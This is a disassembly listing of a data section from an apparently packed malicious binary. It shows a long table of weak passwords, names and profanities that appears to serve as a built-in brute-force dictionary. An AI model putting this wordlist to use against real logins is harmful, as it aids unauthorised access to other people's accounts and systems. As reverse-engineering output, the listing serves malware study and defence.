aGuitar		db 'guitar',0           ; DATA XREF: UPX0:0042F2A0o
		align 10h
aGuess		db 'guess',0            ; DATA XREF: UPX0:0042F29Co
		align 4
aGucci		db 'gucci',0            ; DATA XREF: UPX0:0042F298o
		align 10h
aGuardian	db 'guardian',0         ; DATA XREF: UPX0:0042F294o
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: UPX0:0042F290o
aGroup		db 'group',0            ; DATA XREF: UPX0:0042F28Co
		align 4
aGreen		db 'green',0            ; DATA XREF: UPX0:0042F288o
		align 4
aGreat		db 'great',0            ; DATA XREF: UPX0:0042F284o
		align 4
aGrant		db 'grant',0            ; DATA XREF: UPX0:0042F280o
		align 4
aGrand		db 'grand',0            ; DATA XREF: UPX0:0042F27Co
		align 4
aGrahm		db 'grahm',0            ; DATA XREF: UPX0:0042F278o
		align 4
aGraham		db 'graham',0           ; DATA XREF: UPX0:0042F274o
		align 4
aGrades		db 'grades',0           ; DATA XREF: UPX0:0042F270o
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: UPX0:0042F26Co
		align 10h
aGouge		db 'gouge',0            ; DATA XREF: UPX0:0042F268o
		align 4
aGosling	db 'gosling',0          ; DATA XREF: UPX0:0042F264o
aGorges		db 'gorges',0           ; DATA XREF: UPX0:0042F260o
		align 4
aGorgeous	db 'gorgeous',0         ; DATA XREF: UPX0:0042F25Co
		align 4
aGood		db 'good',0             ; DATA XREF: UPX0:0042F258o
		align 4
aGolfer		db 'golfer',0           ; DATA XREF: UPX0:0042F254o
		align 4
aGolf		db 'golf',0             ; DATA XREF: UPX0:0042F250o
		align 4
aGolden		db 'golden',0           ; DATA XREF: UPX0:0042F24Co
		align 4
aGold		db 'gold',0             ; DATA XREF: UPX0:0042F248o
		align 4
aGlacier	db 'glacier',0          ; DATA XREF: UPX0:0042F244o
aGirl		db 'girl',0             ; DATA XREF: UPX0:0042F240o
		align 4
aGinger		db 'ginger',0           ; DATA XREF: UPX0:0042F23Co
		align 4
aGina		db 'gina',0             ; DATA XREF: UPX0:0042F238o
		align 4
aGigabyte	db 'gigabyte',0         ; DATA XREF: UPX0:0042F234o
		align 4
aGibson		db 'gibson',0           ; DATA XREF: UPX0:0042F230o
		align 10h
aGhost		db 'ghost',0            ; DATA XREF: UPX0:0042F22Co
		align 4
aGertrude	db 'gertrude',0         ; DATA XREF: UPX0:0042F228o
		align 4
aGerm		db 'germ',0             ; DATA XREF: UPX0:0042F224o
		align 4
aGeorge		db 'george',0           ; DATA XREF: UPX0:0042F220o
		align 4
aGauss		db 'gauss',0            ; DATA XREF: UPX0:0042F21Co
		align 4
aGatt		db 'gatt',0             ; DATA XREF: UPX0:0042F218o
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: UPX0:0042F214o
		align 10h
aGateway	db 'gateway',0          ; DATA XREF: UPX0:0042F210o
aGarfield	db 'garfield',0         ; DATA XREF: UPX0:0042F20Co
		align 4
aGardner	db 'gardner',0          ; DATA XREF: UPX0:0042F208o
aGames		db 'games',0            ; DATA XREF: UPX0:0042F204o
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: UPX0:0042F200o
aFungible	db 'fungible',0         ; DATA XREF: UPX0:0042F1FCo
		align 4
aFunction	db 'function',0         ; DATA XREF: UPX0:0042F1F8o
		align 4
aFudge		db 'fudge',0            ; DATA XREF: UPX0:0042F1F4o
		align 4
aFuckyou	db 'fuckyou',0          ; DATA XREF: UPX0:0042F1F0o
aFuckme		db 'fuckme',0           ; DATA XREF: UPX0:0042F1ECo
		align 4
aFucking	db 'fucking',0          ; DATA XREF: UPX0:0042F1E8o
aFucker		db 'fucker',0           ; DATA XREF: UPX0:0042F1E4o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: UPX0:0042F1E0o
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: UPX0:0042F1DCo
		align 4
aFrog		db 'frog',0             ; DATA XREF: UPX0:0042F1D8o
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: UPX0:0042F1D4o
		align 10h
aFriends	db 'friends',0          ; DATA XREF: UPX0:0042F1D0o
aFriend		db 'friend',0           ; DATA XREF: UPX0:0042F1CCo
		align 10h
aFriday		db 'friday',0           ; DATA XREF: UPX0:0042F1C8o
		align 4
aFrench		db 'french',0           ; DATA XREF: UPX0:0042F1C4o
		align 10h
aFreedom	db 'freedom',0          ; DATA XREF: UPX0:0042F1C0o
aFree		db 'free',0             ; DATA XREF: UPX0:0042F1BCo
		align 10h
aFred		db 'fred',0             ; DATA XREF: UPX0:0042F1B8o
		align 4
aFreak		db 'freak',0            ; DATA XREF: UPX0:0042F1B4o
		align 10h
aFrank		db 'frank',0            ; DATA XREF: UPX0:0042F1B0o
		align 4
aFrance		db 'france',0           ; DATA XREF: UPX0:0042F1ACo
		align 10h
aFoxtrot	db 'foxtrot',0          ; DATA XREF: UPX0:0042F1A8o
aFourier	db 'fourier',0          ; DATA XREF: UPX0:0042F1A4o
aForsythe	db 'forsythe',0         ; DATA XREF: UPX0:0042F1A0o
		align 4
aFornicat	db 'fornicat',0         ; DATA XREF: UPX0:0042F19Co
		align 4
aFormat		db 'format',0           ; DATA XREF: UPX0:0042F198o
		align 10h
aForm		db 'form',0             ; DATA XREF: UPX0:0042F194o
		align 4
aForever	db 'forever',0          ; DATA XREF: UPX0:0042F190o
aForesigh	db 'foresigh',0         ; DATA XREF: UPX0:0042F18Co
		align 4
aFord		db 'ford',0             ; DATA XREF: UPX0:0042F188o
		align 4
aForce		db 'force',0            ; DATA XREF: UPX0:0042F184o
		align 4
aFootball	db 'football',0         ; DATA XREF: UPX0:0042F180o
		align 4
aFoolproo	db 'foolproo',0         ; DATA XREF: UPX0:0042F17Co
		align 4
aFool		db 'fool',0             ; DATA XREF: UPX0:0042F178o
		align 4
aFood		db 'food',0             ; DATA XREF: UPX0:0042F174o
		align 4
aFlowers	db 'flowers',0          ; DATA XREF: UPX0:0042F170o
aFlower		db 'flower',0           ; DATA XREF: UPX0:0042F16Co
		align 4
aFlorida	db 'florida',0          ; DATA XREF: UPX0:0042F168o
aFloat		db 'float',0            ; DATA XREF: UPX0:0042F164o
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: UPX0:0042F160o
		align 4
aFishers	db 'fishers',0          ; DATA XREF: UPX0:0042F15Co
aFirewall	db 'firewall',0         ; DATA XREF: UPX0:0042F158o
		align 10h
aFire		db 'fire',0             ; DATA XREF: UPX0:0042F154o
		align 4
aFinite		db 'finite',0           ; DATA XREF: UPX0:0042F150o
		align 10h
; char aFile[]
aFile		db 'file',0             ; DATA XREF: sub_40EE51+1E72o
					; sub_40EE51+1EE8o ...
		align 4
aFight		db 'fight',0            ; DATA XREF: UPX0:0042F148o
		align 10h
aField		db 'field',0            ; DATA XREF: UPX0:0042F144o
		align 4
aFidelity	db 'fidelity',0         ; DATA XREF: UPX0:0042F140o
		align 4
aFerrari	db 'ferrari',0          ; DATA XREF: UPX0:0042F13Co
aFermat		db 'fermat',0           ; DATA XREF: UPX0:0042F138o
		align 4
aFender		db 'fender',0           ; DATA XREF: UPX0:0042F134o
		align 4
aFelicia	db 'felicia',0          ; DATA XREF: UPX0:0042F130o
aFeds		db 'feds',0             ; DATA XREF: UPX0:0042F12Co
		align 4
aFear		db 'fear',0             ; DATA XREF: UPX0:0042F128o
		align 4
aFast		db 'fast',0             ; DATA XREF: UPX0:0042F124o
		align 4
aFart		db 'fart',0             ; DATA XREF: UPX0:0042F120o
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: UPX0:0042F11Co
aFarad		db 'farad',0            ; DATA XREF: UPX0:0042F118o
		align 4
aFamily		db 'family',0           ; DATA XREF: UPX0:0042F114o
		align 4
aFalse		db 'false',0            ; DATA XREF: UPX0:0042F110o
		align 4
aFalcon		db 'falcon',0           ; DATA XREF: UPX0:0042F10Co
		align 4
aFaith		db 'faith',0            ; DATA XREF: UPX0:0042F108o
		align 4
aFairway	db 'fairway',0          ; DATA XREF: UPX0:0042F104o
aExtensio	db 'extensio',0         ; DATA XREF: UPX0:0042F100o
		align 4
aExplosiv	db 'explosiv',0         ; DATA XREF: UPX0:0042F0FCo
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: UPX0:0042F0F8o
		align 10h
aExplore	db 'explore',0          ; DATA XREF: UPX0:0042F0F4o
aExplode	db 'explode',0          ; DATA XREF: UPX0:0042F0F0o
aExpert		db 'expert',0           ; DATA XREF: UPX0:0042F0ECo
		align 4
aEvelyn		db 'evelyn',0           ; DATA XREF: UPX0:0042F0E8o
		align 10h
aEuclid		db 'euclid',0           ; DATA XREF: UPX0:0042F0E4o
		align 4
aEternity	db 'eternity',0         ; DATA XREF: UPX0:0042F0E0o
		align 4
aEstate		db 'estate',0           ; DATA XREF: UPX0:0042F0DCo
		align 4
aEstablis	db 'establis',0         ; DATA XREF: UPX0:0042F0D8o
		align 4
aErsatz		db 'ersatz',0           ; DATA XREF: UPX0:0042F0D4o
		align 10h
aErotic		db 'erotic',0           ; DATA XREF: UPX0:0042F0D0o
		align 4
aErin		db 'erin',0             ; DATA XREF: UPX0:0042F0CCo
		align 10h
aErika		db 'erika',0            ; DATA XREF: UPX0:0042F0C8o
		align 4
aErica		db 'erica',0            ; DATA XREF: UPX0:0042F0C4o
		align 10h
aEric		db 'eric',0             ; DATA XREF: UPX0:0042F0C0o
		align 4
aErenity	db 'erenity',0          ; DATA XREF: UPX0:0042F0BCo
aEnzyme		db 'enzyme',0           ; DATA XREF: UPX0:0042F0B8o
		align 4
aEnterpri	db 'enterpri',0         ; DATA XREF: UPX0:0042F0B4o
		align 4
aEnter		db 'enter',0            ; DATA XREF: UPX0:0042F0B0o
		align 4
aEnglish	db 'english',0          ; DATA XREF: UPX0:0042F0ACo
aEngland	db 'england',0          ; DATA XREF: UPX0:0042F0A8o
aEngineer	db 'engineer',0         ; DATA XREF: UPX0:0042F0A4o
		align 4
aEngine		db 'engine',0           ; DATA XREF: UPX0:0042F0A0o
		align 10h
aEnemy		db 'enemy',0            ; DATA XREF: UPX0:0042F09Co
		align 4
aEmmanuel	db 'emmanuel',0         ; DATA XREF: UPX0:0042F098o
		align 4
aEmily		db 'emily',0            ; DATA XREF: UPX0:0042F094o
		align 4
aEmerald	db 'emerald',0          ; DATA XREF: UPX0:0042F090o
aEmail		db 'email',0            ; DATA XREF: UPX0:0042F08Co
		align 4
aEllen		db 'ellen',0            ; DATA XREF: UPX0:0042F088o
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: UPX0:0042F084o
		align 10h
aElephant	db 'elephant',0         ; DATA XREF: UPX0:0042F080o
		align 4
aElectron	db 'electron',0         ; DATA XREF: UPX0:0042F07Co
		align 4
aElanor		db 'elanor',0           ; DATA XREF: UPX0:0042F078o
		align 10h
aElaine		db 'elaine',0           ; DATA XREF: UPX0:0042F074o
		align 4
aEinstein	db 'einstein',0         ; DATA XREF: UPX0:0042F070o
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: UPX0:0042F06Co
		align 10h
aEileen		db 'eileen',0           ; DATA XREF: UPX0:0042F068o
		align 4
aEiderdow	db 'eiderdow',0         ; DATA XREF: UPX0:0042F064o
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: UPX0:0042F060o
aEdwina		db 'edwina',0           ; DATA XREF: UPX0:0042F05Co
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: UPX0:0042F058o
		align 4
aEducatio	db 'educatio',0         ; DATA XREF: UPX0:0042F054o
		align 4
aEducation	db 'education',0        ; DATA XREF: UPX0:0042F050o
		align 4
aEdition	db 'edition',0          ; DATA XREF: UPX0:0042F04Co
aEdit		db 'edit',0             ; DATA XREF: UPX0:0042F048o
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: UPX0:0042F044o
		align 10h
aEdges		db 'edges',0            ; DATA XREF: UPX0:0042F040o
		align 4
aEddie		db 'eddie',0            ; DATA XREF: UPX0:0042F03Co
		align 10h
aEcho		db 'echo',0             ; DATA XREF: UPX0:0042F038o
		align 4
aEatme		db 'eatme',0            ; DATA XREF: UPX0:0042F034o
		align 10h
aEasy		db 'easy',0             ; DATA XREF: UPX0:0042F030o
		align 4
aEasier		db 'easier',0           ; DATA XREF: UPX0:0042F02Co
		align 10h
aEarth		db 'earth',0            ; DATA XREF: UPX0:0042F028o
		align 4
aEagle		db 'eagle',0            ; DATA XREF: UPX0:0042F024o
		align 10h
aEager		db 'eager',0            ; DATA XREF: UPX0:0042F020o
		align 4
aDyke		db 'dyke',0             ; DATA XREF: UPX0:0042F01Co
		align 10h
aDungeon	db 'dungeon',0          ; DATA XREF: UPX0:0042F018o
aDuncan		db 'duncan',0           ; DATA XREF: UPX0:0042F014o
		align 10h
aDulce		db 'dulce',0            ; DATA XREF: UPX0:0042F010o
		align 4
aDuke		db 'duke',0             ; DATA XREF: UPX0:0042F00Co
		align 10h
aDuelist	db 'duelist',0          ; DATA XREF: UPX0:0042F008o
aDude		db 'dude',0             ; DATA XREF: UPX0:0042F004o
		align 10h
aDuck		db 'duck',0             ; DATA XREF: UPX0:0042F000o
		align 4
aDrought	db 'drought',0          ; DATA XREF: UPX0:0042EFFCo
aDrive		db 'drive',0            ; DATA XREF: UPX0:0042EFF8o
		align 4
aDrdoom		db 'drdoom',0           ; DATA XREF: UPX0:0042EFF4o
		align 10h
aDragon		db 'dragon',0           ; DATA XREF: UPX0:0042EFF0o
		align 4
aDownload	db 'download',0         ; DATA XREF: UPX0:0042EFECo
		align 4
aDope		db 'dope',0             ; DATA XREF: UPX0:0042EFE8o
		align 4
aDoors		db 'doors',0            ; DATA XREF: UPX0:0042EFE4o
		align 4
aDoor		db 'door',0             ; DATA XREF: UPX0:0042EFE0o
		align 4
aDoonesbu	db 'doonesbu',0         ; DATA XREF: UPX0:0042EFDCo
		align 4
aDoomsday	db 'doomsday',0         ; DATA XREF: UPX0:0042EFD8o
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: UPX0:0042EFD4o
		align 4
aDoom2		db 'doom2',0            ; DATA XREF: UPX0:0042EFD0o
		align 4
aDoom		db 'doom',0             ; DATA XREF: UPX0:0042EFCCo
		align 4
aDong		db 'dong',0             ; DATA XREF: UPX0:0042EFC8o
		align 4
aDollar		db 'dollar',0           ; DATA XREF: UPX0:0042EFC4o
		align 4
aDoctor		db 'doctor',0           ; DATA XREF: UPX0:0042EFC0o
		align 4
aDisplay_1	db 'display',0          ; DATA XREF: UPX0:0042EFBCo
aDisney		db 'disney',0           ; DATA XREF: UPX0:0042EFB8o
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: UPX0:0042EFB4o
		align 10h
aDisk_0		db 'disk',0             ; DATA XREF: UPX0:0042EFB0o
		align 4
aDiscover	db 'discover',0         ; DATA XREF: UPX0:0042EFACo
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: UPX0:0042EFA8o
		align 10h
aDiscipli	db 'discipli',0         ; DATA XREF: UPX0:0042EFA4o
		align 4
aDisc		db 'disc',0             ; DATA XREF: UPX0:0042EFA0o
		align 4
aDirty		db 'dirty',0            ; DATA XREF: UPX0:0042EF9Co
		align 4
aDirector	db 'director',0         ; DATA XREF: UPX0:0042EF98o
		align 4
aDirect		db 'direct',0           ; DATA XREF: UPX0:0042EF94o
		align 10h
aDipshit	db 'dipshit',0          ; DATA XREF: UPX0:0042EF90o
aDinosaur	db 'dinosaur',0         ; DATA XREF: UPX0:0042EF8Co
		align 4
aDigital	db 'digital',0          ; DATA XREF: UPX0:0042EF88o
aDieter		db 'dieter',0           ; DATA XREF: UPX0:0042EF84o
		align 4
aDiet		db 'diet',0             ; DATA XREF: UPX0:0042EF80o
		align 4
aDiehard	db 'diehard',0          ; DATA XREF: UPX0:0042EF7Co
aDick		db 'dick',0             ; DATA XREF: UPX0:0042EF78o
		align 4
aDice		db 'dice',0             ; DATA XREF: UPX0:0042EF74o
		align 4
aDiane		db 'diane',0            ; DATA XREF: UPX0:0042EF70o
		align 4
aDiana		db 'diana',0            ; DATA XREF: UPX0:0042EF6Co
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: UPX0:0042EF68o
aDial		db 'dial',0             ; DATA XREF: UPX0:0042EF64o
		align 4
aDevice		db 'device',0           ; DATA XREF: UPX0:0042EF60o
		align 4
aDevelop	db 'develop',0          ; DATA XREF: UPX0:0042EF5Co
aDesperat	db 'desperat',0         ; DATA XREF: UPX0:0042EF58o
		align 10h
aDesktop	db 'desktop',0          ; DATA XREF: UPX0:0042EF54o
aDesk		db 'desk',0             ; DATA XREF: UPX0:0042EF50o
		align 10h
aDesiree	db 'desiree',0          ; DATA XREF: UPX0:0042EF4Co
aDennis		db 'dennis',0           ; DATA XREF: UPX0:0042EF48o
		align 10h
aDenise		db 'denise',0           ; DATA XREF: UPX0:0042EF44o
		align 4
aDemocrat	db 'democrat',0         ; DATA XREF: UPX0:0042EF40o
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: UPX0:0042EF3Co
		align 4
aDelta		db 'delta',0            ; DATA XREF: UPX0:0042EF38o
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: UPX0:0042EF34o
		align 4
aDefault_0	db 'DEFAULT',0          ; DATA XREF: UPX0:0042EF30o
aDeck		db 'deck',0             ; DATA XREF: UPX0:0042EF28o
		align 4
aDecember	db 'december',0         ; DATA XREF: UPX0:0042EF24o
		align 4
aDebug		db 'debug',0            ; DATA XREF: UPX0:0042EF20o
		align 10h
aDeborah	db 'deborah',0          ; DATA XREF: UPX0:0042EF1Co
aDebbie		db 'debbie',0           ; DATA XREF: UPX0:0042EF18o
		align 10h
aDeathsta	db 'deathsta',0         ; DATA XREF: UPX0:0042EF14o
		align 4
aDead		db 'dead',0             ; DATA XREF: UPX0:0042EF10o
		align 4
aDawn		db 'dawn',0             ; DATA XREF: UPX0:0042EF0Co
		align 4
aDave		db 'dave',0             ; DATA XREF: UPX0:0042EF08o
		align 4
aData		db 'data',0             ; DATA XREF: UPX0:0042EF04o
		align 4
aDarkaven	db 'darkaven',0         ; DATA XREF: UPX0:0042EF00o
		align 4
aDark		db 'dark',0             ; DATA XREF: UPX0:0042EEFCo
		align 10h
aDapper		db 'dapper',0           ; DATA XREF: UPX0:0042EEF8o
		align 4
aDanny		db 'danny',0            ; DATA XREF: UPX0:0042EEF4o
		align 10h
aDanielle	db 'danielle',0         ; DATA XREF: UPX0:0042EEF0o
		align 4
aDaniel		db 'daniel',0           ; DATA XREF: UPX0:0042EEECo
		align 4
aDancer		db 'dancer',0           ; DATA XREF: UPX0:0042EEE8o
		align 4
aDana		db 'dana',0             ; DATA XREF: UPX0:0042EEE4o
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: UPX0:0042EEE0o
		align 4
aDaemon		db 'daemon',0           ; DATA XREF: UPX0:0042EEDCo
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: UPX0:0042EED8o
aCyberspa	db 'cyberspa',0         ; DATA XREF: UPX0:0042EED4o
		align 4
aCyberpun	db 'cyberpun',0         ; DATA XREF: UPX0:0042EED0o
		align 4
aCyber		db 'cyber',0            ; DATA XREF: UPX0:0042EECCo
		align 4
aCustomer	db 'customer',0         ; DATA XREF: UPX0:0042EEC8o
		align 4
aCunt		db 'cunt',0             ; DATA XREF: UPX0:0042EEC4o
		align 10h
aCshrc		db 'cshrc',0            ; DATA XREF: UPX0:0042EEC0o
		align 4
aCrystal	db 'crystal',0          ; DATA XREF: UPX0:0042EEBCo
aCristina	db 'cristina',0         ; DATA XREF: UPX0:0042EEB8o
		align 4
aCriminal	db 'criminal',0         ; DATA XREF: UPX0:0042EEB4o
		align 4
aCrime		db 'crime',0            ; DATA XREF: UPX0:0042EEB0o
		align 10h
aCretin		db 'cretin',0           ; DATA XREF: UPX0:0042EEACo
		align 4
aCreosote	db 'creosote',0         ; DATA XREF: UPX0:0042EEA8o
		align 4
aCredit		db 'credit',0           ; DATA XREF: UPX0:0042EEA4o
		align 4
aCreature	db 'creature',0         ; DATA XREF: UPX0:0042EEA0o
		align 4
aCreation	db 'creation',0         ; DATA XREF: UPX0:0042EE9Co
		align 4
aCreate		db 'create',0           ; DATA XREF: UPX0:0042EE98o
		align 4
aCream		db 'cream',0            ; DATA XREF: UPX0:0042EE94o
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: UPX0:0042EE90o
		align 10h
aCrack		db 'crack',0            ; DATA XREF: UPX0:0042EE8Co
		align 4
aCowboy		db 'cowboy',0           ; DATA XREF: UPX0:0042EE88o
		align 10h
aCouscous	db 'couscous',0         ; DATA XREF: UPX0:0042EE84o
		align 4
aCountry	db 'country',0          ; DATA XREF: UPX0:0042EE80o
aCounters	db 'counters',0         ; DATA XREF: UPX0:0042EE7Co
		align 10h
aCorrect	db 'correct',0          ; DATA XREF: UPX0:0042EE78o
aCorneliu	db 'corneliu',0         ; DATA XREF: UPX0:0042EE74o
		align 4
aCopy		db 'copy',0             ; DATA XREF: UPX0:0042EE70o
		align 4
aCops		db 'cops',0             ; DATA XREF: UPX0:0042EE6Co
		align 4
aCopper		db 'copper',0           ; DATA XREF: UPX0:0042EE68o
		align 4
aCooper		db 'cooper',0           ; DATA XREF: UPX0:0042EE64o
		align 4
aCool_0		db 'cool',0             ; DATA XREF: UPX0:0042EE60o
		align 4
aCookie		db 'cookie',0           ; DATA XREF: UPX0:0042EE5Co
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: UPX0:0042EE58o
		align 10h
aCook		db 'cook',0             ; DATA XREF: UPX0:0042EE54o
		align 4
; char aContinue[]
aContinue	db 'continue',0         ; DATA XREF: sub_40EE51+20EBo
					; UPX0:0042EE50o
		align 4
aConsole	db 'console',0          ; DATA XREF: UPX0:0042EE4Co
aConserva	db 'conserva',0         ; DATA XREF: UPX0:0042EE48o
		align 4
aConnie		db 'connie',0           ; DATA XREF: UPX0:0042EE44o
		align 10h
aCondom		db 'condom',0
		align 4
aCondo		db 'condo',0
		align 10h
aComrades	db 'comrades',0
		align 4
aComrade	db 'comrade',0
aComputin	db 'computin',0
		align 10h
aCompany	db 'company',0
aCommrade	db 'commrade',0         ; DATA XREF: UPX0:0042EE24o
		align 4
aCommit		db 'commit',0           ; DATA XREF: UPX0:0042EE20o
		align 4
aComics		db 'comics',0           ; DATA XREF: UPX0:0042EE1Co
		align 4
aCombat		db 'combat',0           ; DATA XREF: UPX0:0042EE18o
		align 4
aColor		db 'color',0            ; DATA XREF: UPX0:0042EE14o
		align 4
aCollins	db 'collins',0          ; DATA XREF: UPX0:0042EE10o
aCold		db 'cold',0             ; DATA XREF: UPX0:0042EE0Co
		align 4
aCola		db 'cola',0             ; DATA XREF: UPX0:0042EE08o
		align 4
aCoke		db 'coke',0             ; DATA XREF: UPX0:0042EE04o
		align 4
aCoin		db 'coin',0             ; DATA XREF: UPX0:0042EE00o
		align 4
aCoffee		db 'coffee',0           ; DATA XREF: UPX0:0042EDFCo
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: UPX0:0042EDF8o
		align 10h
aCodename	db 'codename',0         ; DATA XREF: UPX0:0042EDF4o
		align 4
aCode		db 'code',0             ; DATA XREF: UPX0:0042EDF0o
		align 4
aCock		db 'cock',0             ; DATA XREF: UPX0:0042EDECo
		align 4
aCocainco	db 'cocainco',0         ; DATA XREF: UPX0:0042EDE8o
		align 4
aCocacola	db 'cocacola',0         ; DATA XREF: UPX0:0042EDE4o
		align 4
aCoast		db 'coast',0            ; DATA XREF: UPX0:0042EDE0o
		align 4
aClusters	db 'clusters',0         ; DATA XREF: UPX0:0042EDDCo
		align 4
aCluster	db 'cluster',0          ; DATA XREF: UPX0:0042EDD8o
aClinton	db 'clinton',0          ; DATA XREF: UPX0:0042EDD4o
aCleavage	db 'cleavage',0         ; DATA XREF: UPX0:0042EDD0o
		align 4
aClaymore	db 'claymore',0         ; DATA XREF: UPX0:0042EDCCo
		align 10h
aClaudia	db 'claudia',0          ; DATA XREF: UPX0:0042EDC8o
aClassic	db 'classic',0          ; DATA XREF: UPX0:0042EDC4o
aClasses	db 'classes',0          ; DATA XREF: UPX0:0042EDC0o
aClass		db 'class',0            ; DATA XREF: UPX0:0042EDBCo
		align 10h
aCindy		db 'cindy',0            ; DATA XREF: UPX0:0042EDB8o
		align 4
aCigarett	db 'cigarett',0         ; DATA XREF: UPX0:0042EDB4o
		align 4
aCigar		db 'cigar',0            ; DATA XREF: UPX0:0042EDB0o
		align 4
aChristy	db 'christy',0          ; DATA XREF: UPX0:0042EDACo
aChristin	db 'christin',0         ; DATA XREF: UPX0:0042EDA8o
		align 10h
aChris		db 'chris',0            ; DATA XREF: UPX0:0042EDA4o
		align 4
aChip		db 'chip',0             ; DATA XREF: UPX0:0042EDA0o
		align 10h
aChester	db 'chester',0          ; DATA XREF: UPX0:0042ED9Co
aChess		db 'chess',0            ; DATA XREF: UPX0:0042ED98o
		align 10h
aChemistr	db 'chemistr',0         ; DATA XREF: UPX0:0042ED94o
		align 4
aChem		db 'chem',0             ; DATA XREF: UPX0:0042ED90o
		align 4
aChat_0		db 'chat',0             ; DATA XREF: UPX0:0042ED8Co
		align 4
aCharon		db 'charon',0           ; DATA XREF: UPX0:0042ED88o
		align 4
aCharming	db 'charming',0         ; DATA XREF: UPX0:0042ED84o
		align 10h
aCharlie	db 'charlie',0          ; DATA XREF: UPX0:0042ED80o
aCharles	db 'charles',0          ; DATA XREF: UPX0:0042ED7Co
aCharity	db 'charity',0          ; DATA XREF: UPX0:0042ED78o
aChange		db 'change',0           ; DATA XREF: UPX0:0042ED74o
		align 10h
aCerulean	db 'cerulean',0         ; DATA XREF: UPX0:0042ED70o
		align 4
aCeltics	db 'celtics',0          ; DATA XREF: UPX0:0042ED6Co
aCeltic		db 'celtic',0           ; DATA XREF: UPX0:0042ED68o
		align 4
aCelt		db 'celt',0             ; DATA XREF: UPX0:0042ED64o
		align 4
aCecily		db 'cecily',0           ; DATA XREF: UPX0:0042ED60o
		align 4
aCayuga		db 'cayuga',0           ; DATA XREF: UPX0:0042ED5Co
		align 4
aCave		db 'cave',0             ; DATA XREF: UPX0:0042ED58o
		align 4
aCathy		db 'cathy',0            ; DATA XREF: UPX0:0042ED54o
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: UPX0:0042ED50o
		align 10h
aCatherin	db 'catherin',0         ; DATA XREF: UPX0:0042ED4Co
		align 4
aCastle		db 'castle',0           ; DATA XREF: UPX0:0042ED48o
		align 4
aCash		db 'cash',0             ; DATA XREF: UPX0:0042ED44o
		align 4
aCascades	db 'cascades',0         ; DATA XREF: UPX0:0042ED40o
		align 4
aCarson		db 'carson',0           ; DATA XREF: UPX0:0042ED3Co
		align 10h
aCarrie		db 'carrie',0           ; DATA XREF: UPX0:0042ED38o
		align 4
aCaroline	db 'caroline',0         ; DATA XREF: UPX0:0042ED34o
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: UPX0:0042ED30o
		align 10h
aCarole		db 'carole',0           ; DATA XREF: UPX0:0042ED2Co
		align 4
aCarol		db 'carol',0            ; DATA XREF: UPX0:0042ED28o
		align 10h
aCarmen		db 'carmen',0           ; DATA XREF: UPX0:0042ED24o
		align 4
aCarla		db 'carla',0            ; DATA XREF: UPX0:0042ED20o
		align 10h
aCaren		db 'caren',0            ; DATA XREF: UPX0:0042ED1Co
		align 4
aCardinal	db 'cardinal',0         ; DATA XREF: UPX0:0042ED18o
		align 4
aCard		db 'card',0             ; DATA XREF: UPX0:0042ED14o
		align 4
aCapture	db 'capture',0          ; DATA XREF: UPX0:0042ED10o
aCaptain	db 'captain',0          ; DATA XREF: UPX0:0042ED0Co
aCantor		db 'cantor',0           ; DATA XREF: UPX0:0042ED08o
		align 4
aCandy		db 'candy',0            ; DATA XREF: UPX0:0042ED04o
		align 4
aCandi		db 'candi',0            ; DATA XREF: UPX0:0042ED00o
		align 4
aCamping	db 'camping',0          ; DATA XREF: UPX0:0042ECFCo
aCampanil	db 'campanil',0         ; DATA XREF: UPX0:0042ECF8o
		align 4
aCamille	db 'camille',0          ; DATA XREF: UPX0:0042ECF4o
aCaliforn	db 'californ',0         ; DATA XREF: UPX0:0042ECF0o
		align 4
aButthead	db 'butthead',0         ; DATA XREF: UPX0:0042ECECo
		align 4
aButt		db 'butt',0             ; DATA XREF: UPX0:0042ECE8o
		align 10h
aButch		db 'butch',0            ; DATA XREF: UPX0:0042ECE4o
		align 4
aBurn		db 'burn',0             ; DATA XREF: UPX0:0042ECE0o
		align 10h
aBurgess	db 'burgess',0          ; DATA XREF: UPX0:0042ECDCo
aBung		db 'bung',0             ; DATA XREF: UPX0:0042ECD8o
		align 10h
aBumbling	db 'bumbling',0         ; DATA XREF: UPX0:0042ECD4o
		align 4
aBullshit	db 'bullshit',0         ; DATA XREF: UPX0:0042ECD0o
		align 4
aBulls		db 'bulls',0            ; DATA XREF: UPX0:0042ECCCo
		align 10h
aBrutefor	db 'brutefor',0         ; DATA XREF: UPX0:0042ECC8o
		align 4
aBrute		db 'brute',0            ; DATA XREF: UPX0:0042ECC4o
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: UPX0:0042ECC0o
		align 10h
aBrothel	db 'brothel',0          ; DATA XREF: UPX0:0042ECBCo
aBroadway	db 'broadway',0         ; DATA XREF: UPX0:0042ECB8o
		align 4
aBridget	db 'bridget',0          ; DATA XREF: UPX0:0042ECB4o
aBrian		db 'brian',0            ; DATA XREF: UPX0:0042ECB0o
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: UPX0:0042ECACo
		align 4
aBreast		db 'breast',0           ; DATA XREF: UPX0:0042ECA8o
		align 4
aBreak		db 'break',0            ; DATA XREF: UPX0:0042ECA4o
		align 4
aBravo		db 'bravo',0            ; DATA XREF: UPX0:0042ECA0o
		align 4
